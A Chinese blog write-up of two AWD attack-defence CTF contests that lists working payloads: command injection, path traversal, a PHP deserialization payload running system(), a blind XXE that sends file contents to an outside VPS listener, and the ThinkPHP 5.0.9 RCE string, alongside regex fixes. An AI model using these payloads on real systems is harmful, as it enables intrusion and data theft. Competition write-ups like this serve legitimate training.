星盟AWD系列邀請(qǐng)賽復(fù)盤(pán)

感謝星盟安全團(tuán)隊(duì)的邀請(qǐng)频轿!

2.9

2月9號(hào)星盟安全團(tuán)隊(duì)舉辦的線上AWD,三道Web題堰酿,兩道pwn題掩浙。又學(xué)到了很多新姿勢(shì)。

記錄下三道Web題中我們發(fā)現(xiàn)的漏洞和做題過(guò)程鲤脏。

Web1

上D盾:

image

test.php中的預(yù)置后門(mén):

image

趕緊刪文件们颜,寫(xiě)個(gè)腳本批量打吕朵。

payloadhttp://39.100.119.37:10480/test.php?out=cat /flag

shell()函數(shù)的命令執(zhí)行漏洞

admin/func.php中存在有漏洞的shell函數(shù):

image

如何快速發(fā)現(xiàn)哪個(gè)文件調(diào)用了shell函數(shù)

熟悉代碼審計(jì)的師傅應(yīng)該知道ctags在文件夾中搜索這兩個(gè)功能窥突。

  • ctags就是定位被調(diào)用函數(shù)的定義文件:

    image

    這樣就能快速找到定義這個(gè)函數(shù)的文件所在行努溃。

  • 在文件夾中搜索是一般編輯器都有的功能

    我使用sublime,在文件夾中搜索shell阻问,很快就發(fā)現(xiàn)在哪處調(diào)用了該函數(shù)

    image

利用該漏洞需要先登錄后臺(tái)

后臺(tái)登錄賬號(hào)密碼:admin111:admin111

image
image

payload?shell&out=127.0.0.1;cat /flag

修復(fù)方案:過(guò)濾out參數(shù)梧税,如果其含有flag字樣,直接exit();(這樣不嚴(yán)謹(jǐn)称近,但當(dāng)時(shí)時(shí)間緊迫第队,先這樣處理)

更好的修復(fù)方案,shell完成的功能是ping命令刨秆,那么我們就使用正則來(lái)過(guò)濾輸入的參數(shù)是否是正常的域名或者IP

if (preg_match('/^(?=^.{3,255}$)[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-z0-9A-Z][-a-zA-Z0-9]{0,62})+$|^((25[0-5]|2[0-4]\d|[01]?\d\d?)($|(?!\.$)\.)){4}$/', $target))

Web2

假的預(yù)置后門(mén)

同Web1一樣凳谦,在網(wǎng)站根目錄下有一個(gè)test.php的假后門(mén)

image

一開(kāi)始D盾掃到還挺興奮的,但利用起來(lái)完全沒(méi)作用

源碼中已經(jīng)輸出了$_衡未、$__尸执、$___的值,跟注釋中的$_='assert';完全不一樣缓醋,大概就是出題人皮了一下如失。

pass掉。

目錄跳轉(zhuǎn)漏洞

admin/grade.php中送粱,接收文件名褪贵,并將文件內(nèi)容輸出到瀏覽器

image

payloadhttp://39.100.119.37:21680/admin/grade.php?file=../../../../flag

修復(fù)方案:正則匹配..,防止目錄遍歷

image

反序列化

login/logout.php

image

比較簡(jiǎn)單的反序列化利用

payloadO:1:"A":2:{s:4:"name";s:6:"assert";s:4:"male";s:15:"system('cat /flag');";}

修復(fù)方案:多余的操作抗俄,直接刪除unserialize($_POST['un']);

Web3

Web3的MySQL服務(wù)一直有問(wèn)題脆丁,直到比賽結(jié)束前半個(gè)小時(shí)才恢復(fù)。

盲XXE

loginCheck.php

image

登錄是通過(guò)XML傳遞usernamepassword參數(shù)橄镜,而傳遞的xml我們可控偎快,沒(méi)有回顯冯乘,盲XXE讀取文件洽胶。

XML:

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "http://47.112.16.34/xml.dtd">  
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    %remote;
    %send;
]>
<message>aaa</message>

外部DTD文件:

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://47.112.16.34:1337/?%file;'>">
%start;

在VPS上監(jiān)聽(tīng) nc -lp 1337 -vv

抓包請(qǐng)求:

image

VPS接收到請(qǐng)求:

image

關(guān)于盲XXE更多參考學(xué)習(xí):https://www.freebuf.com/vuls/207639.html

總結(jié)

賽后在群里看了下其他師傅分享的思路,不得不服裆馒,被騷到了姊氓。。最重要的還是權(quán)限維持喷好。

騷思路:

建立軟鏈接文件/flag

image

還有發(fā)現(xiàn)平臺(tái)漏洞翔横,拿到所有主機(jī)的登錄密碼:

image

太強(qiáng)了,向師傅們學(xué)習(xí)梗搅!

3.14

特別感謝星盟安全團(tuán)隊(duì)3月的AWD邀請(qǐng)賽禾唁!

這次我們團(tuán)隊(duì)有幾個(gè)選手因?yàn)橛惺碌⒄`了效览,沒(méi)有參加,導(dǎo)致我們?nèi)耸植惶珘虻炊獭:竺姝h(huán)境也出現(xiàn)了不同程度的問(wèn)題:環(huán)境經(jīng)常崩丐枉、無(wú)法重置容器等。不過(guò)還是特別感謝星盟安全團(tuán)隊(duì)掘托,辛苦運(yùn)維小哥們了瘦锹!

Web2

Web2是最先開(kāi)放環(huán)境的

前期準(zhǔn)備

拷貝源碼到本地 -> 上日志監(jiān)控腳本 -> 上文件監(jiān)控腳本等等

login.php

直接訪問(wèn)login.php,左下角就存在flag

image

登錄login.php

很多隊(duì)伍沒(méi)有修改默認(rèn)登錄賬號(hào)密碼闪盔,導(dǎo)致默認(rèn)登錄后拿到flag

image

主要就是這兩個(gè)洞在這刷弯院,由于今天人手不太夠,也沒(méi)有怎么維持權(quán)限泪掀。

Web3

Web3的洞挺多的听绳,就是環(huán)境問(wèn)題導(dǎo)致幾個(gè)洞用不了,也可能是我們操作不當(dāng)异赫。

readme

首先前期準(zhǔn)備工作做好辫红,源碼拷貝下來(lái)后發(fā)現(xiàn)存在readme.md,我還以為是在GitHub上下載的某個(gè)cms祝辣,就沒(méi)有打開(kāi)這個(gè)readme贴妻。后來(lái)D盾掃到了這個(gè)文件存在危險(xiǎn)函數(shù),一看蝙斜,一句話木馬名惩。。

image

傻傻的還以為要尋找文件包含漏洞孕荠,要是找到了文件包含娩鹉,這個(gè)文件也早被刪了。稚伍。知道看到.htaccess的內(nèi)容弯予,原來(lái)可以直接用!趕緊刷一波(很快就沒(méi)了)

image

命令執(zhí)行 反序列化

common目錄中的function.php

image

先把自己的洞給修了个曙,采用正則來(lái)匹配輸入的是否是合法的IP/域名:

if (preg_match('/^(?=^.{3,255}$)[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-z0-9A-Z][-a-zA-Z0-9]{0,62})+$|^((25[0-5]|2[0-4]\d|[01]?\d\d?)($|(?!\.$)\.)){4}$/', $target))

結(jié)果去利用別人的洞的時(shí)候锈嫩,發(fā)現(xiàn)怎么使都不成功,試了很多隊(duì)伍垦搬,一致以為是環(huán)境問(wèn)題導(dǎo)致的PHP腳本沒(méi)有正常執(zhí)行呼寸。。

同目錄下 home.php 中存在反序列化漏洞猴贰。感覺(jué)和上次(2月)的題目很像啊对雪。。

image

Web1

Web1是黑盒測(cè)試米绕,比賽大概進(jìn)行了半個(gè)小時(shí)放出Web1的環(huán)境瑟捣。

一上來(lái)隨便一測(cè)馋艺,就是個(gè)TP環(huán)境,報(bào)錯(cuò)看下TP版本:5.0.9迈套,直接RCE:

?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=more%20/flag

一開(kāi)始試的cat /flag丈钙,好像返回結(jié)果有點(diǎn)問(wèn)題,就換成了more交汤。

當(dāng)時(shí)沒(méi)有怎么想著維持權(quán)限雏赦,只是反彈一個(gè)自己團(tuán)隊(duì)shell,把洞給修了芙扎。

下次遇到這種黑盒的星岗,就直接拿到所有隊(duì)伍的meterpreter shell,放在后臺(tái)戒洼,這樣維權(quán)比較方便長(zhǎng)久俏橘。(希望不會(huì)卡。圈浇。)

后來(lái)莫名訪問(wèn)量.config.php寥掐,沒(méi)想到直接騎上別人的馬了,同網(wǎng)站根目錄下的jquery.min.js一樣磷蜀,這兩個(gè)都是軟鏈接文件召耘,鏈接到/flag

總結(jié)

這次的比賽準(zhǔn)備的挺充足的褐隆,賽前我也調(diào)試過(guò)幾個(gè)通防腳本污它。只不過(guò)有些腳本的作用還是沒(méi)有充分發(fā)揮。

比賽人手不夠也導(dǎo)致很被動(dòng)庶弃,衫贬,

總之,很感謝星盟安全團(tuán)隊(duì)這次鍛煉的機(jī)會(huì)歇攻!我們還需要更加努力固惯。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市缴守,隨后出現(xiàn)的幾起案子葬毫,更是在濱河造成了極大的恐慌,老刑警劉巖斧散,帶你破解...
    沈念sama閱讀 218,204評(píng)論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件供常,死亡現(xiàn)場(chǎng)離奇詭異摊聋,居然都是意外死亡鸡捐,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,091評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門(mén)麻裁,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)箍镜,“玉大人源祈,你說(shuō)我怎么就攤上這事∩兀” “怎么了香缺?”我有些...
    開(kāi)封第一講書(shū)人閱讀 164,548評(píng)論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)歇僧。 經(jīng)常有香客問(wèn)我图张,道長(zhǎng),這世上最難降的妖魔是什么诈悍? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,657評(píng)論 1 293
  • 正文 為了忘掉前任祸轮,我火速辦了婚禮,結(jié)果婚禮上侥钳,老公的妹妹穿的比我還像新娘适袜。我一直安慰自己,他們只是感情好舷夺,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,689評(píng)論 6 392
  • 文/花漫 我一把揭開(kāi)白布苦酱。 她就那樣靜靜地躺著,像睡著了一般给猾。 火紅的嫁衣襯著肌膚如雪疫萤。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 51,554評(píng)論 1 305
  • 那天敢伸,我揣著相機(jī)與錄音给僵,去河邊找鬼。 笑死详拙,一個(gè)胖子當(dāng)著我的面吹牛帝际,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播饶辙,決...
    沈念sama閱讀 40,302評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼蹲诀,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了弃揽?” 一聲冷哼從身側(cè)響起脯爪,我...
    開(kāi)封第一講書(shū)人閱讀 39,216評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎矿微,沒(méi)想到半個(gè)月后痕慢,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,661評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡涌矢,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,851評(píng)論 3 336
  • 正文 我和宋清朗相戀三年掖举,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片娜庇。...
    茶點(diǎn)故事閱讀 39,977評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡塔次,死狀恐怖方篮,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情励负,我是刑警寧澤藕溅,帶...
    沈念sama閱讀 35,697評(píng)論 5 347
  • 正文 年R本政府宣布,位于F島的核電站继榆,受9級(jí)特大地震影響巾表,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜略吨,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,306評(píng)論 3 330
  • 文/蒙蒙 一攒发、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧晋南,春花似錦惠猿、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,898評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至政溃,卻和暖如春趾访,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背董虱。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,019評(píng)論 1 270
  • 我被黑心中介騙來(lái)泰國(guó)打工扼鞋, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人愤诱。 一個(gè)月前我還...
    沈念sama閱讀 48,138評(píng)論 3 370
  • 正文 我出身青樓云头,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親淫半。 傳聞我的和親對(duì)象是個(gè)殘疾皇子溃槐,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,927評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容

  • 官網(wǎng) 中文版本 好的網(wǎng)站 Content-type: text/htmlBASH Section: User ...
    不排版閱讀 4,383評(píng)論 0 5
  • Web1(代碼審計(jì)) Web2(數(shù)據(jù)提交) 發(fā)現(xiàn)需要在3s計(jì)算出一個(gè)表達(dá)式的結(jié)果,直接計(jì)算不太現(xiàn)實(shí)科吭,可以嘗試使用P...
    不會(huì)飛的沙雕閱讀 3,355評(píng)論 0 2
  • WEB2 看源代碼得flag 文件上傳測(cè)試 找一張圖片上傳昏滴,截包改后綴名為.php得flag 計(jì)算題 F12修改輸...
    a2dd56f6ad89閱讀 18,511評(píng)論 0 2
  • 今年過(guò)年,父母親顯然比平常更忙一些对人。 除了接待客人谣殊,他們不走親訪友,年齡大了牺弄,這些都由我們代勞姻几。可是,他們還忙得腳...
    繁花朵朵開(kāi)閱讀 1,948評(píng)論 26 42
  • 一個(gè)值得尊敬的人是跌倒了能爬起來(lái)鲜棠,而一個(gè)什么都沒(méi)經(jīng)歷過(guò)的人就是一張白紙肌厨。
    無(wú)極道0089閱讀 165評(píng)論 0 0